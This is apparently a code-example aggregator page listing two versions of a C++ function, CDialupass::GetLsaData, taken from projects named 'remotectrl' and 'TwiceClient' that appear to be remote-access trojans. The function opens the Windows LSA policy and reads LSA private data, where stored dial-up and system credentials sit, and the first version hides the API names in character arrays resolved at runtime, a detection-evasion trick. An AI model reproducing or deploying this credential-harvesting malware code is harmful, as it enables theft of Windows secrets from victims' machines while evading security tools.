コード例 #1
0
ファイル: Dialupass.cpp プロジェクト: 8ackl0/remotectrl
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
{
	LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
	LSA_HANDLE LsaHandle;
	LSA_UNICODE_STRING LsaKeyName;
	NTSTATUS nts;
	PLSA_UNICODE_STRING OutData;

	ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));

	char HrFvD04[] = {'L','s','a','O','p','e','n','P','o','l','i','c','y','\0'};
	LsaOpenPolicyT pLsaOpenPolicy=(LsaOpenPolicyT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD04);
	nts=pLsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
	if(nts!=0)return NULL;
	AnsiStringToLsaStr(KeyName, &LsaKeyName);

	char HrFvD03[] = {'L','s','a','R','e','t','r','i','e','v','e','P','r','i','v','a','t','e','D','a','t','a','\0'};
	LsaRetrievePrivateDataT pLsaRetrievePrivateData=(LsaRetrievePrivateDataT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD03);
	nts=pLsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
	if(nts!=0)return NULL;

	char HrFvD02[] = {'L','s','a','C','l','o','s','e','\0'};
	LsaCloseT pLsaClose=(LsaCloseT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD02);
	nts=pLsaClose(LsaHandle);
	if(nts!=0)return NULL;
	return OutData;
}
コード例 #2
0
ファイル: Dialupass.cpp プロジェクト: pr1n4ple/TwiceClient
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
{
	LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
	LSA_HANDLE LsaHandle;
	LSA_UNICODE_STRING LsaKeyName;
	NTSTATUS nts;
	PLSA_UNICODE_STRING OutData;

	ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
	nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
	if(nts!=0)return NULL;
	AnsiStringToLsaStr(KeyName, &LsaKeyName);
	nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
	if(nts!=0)return NULL;
	nts=LsaClose(LsaHandle);
	if(nts!=0)return NULL;
	return OutData;
}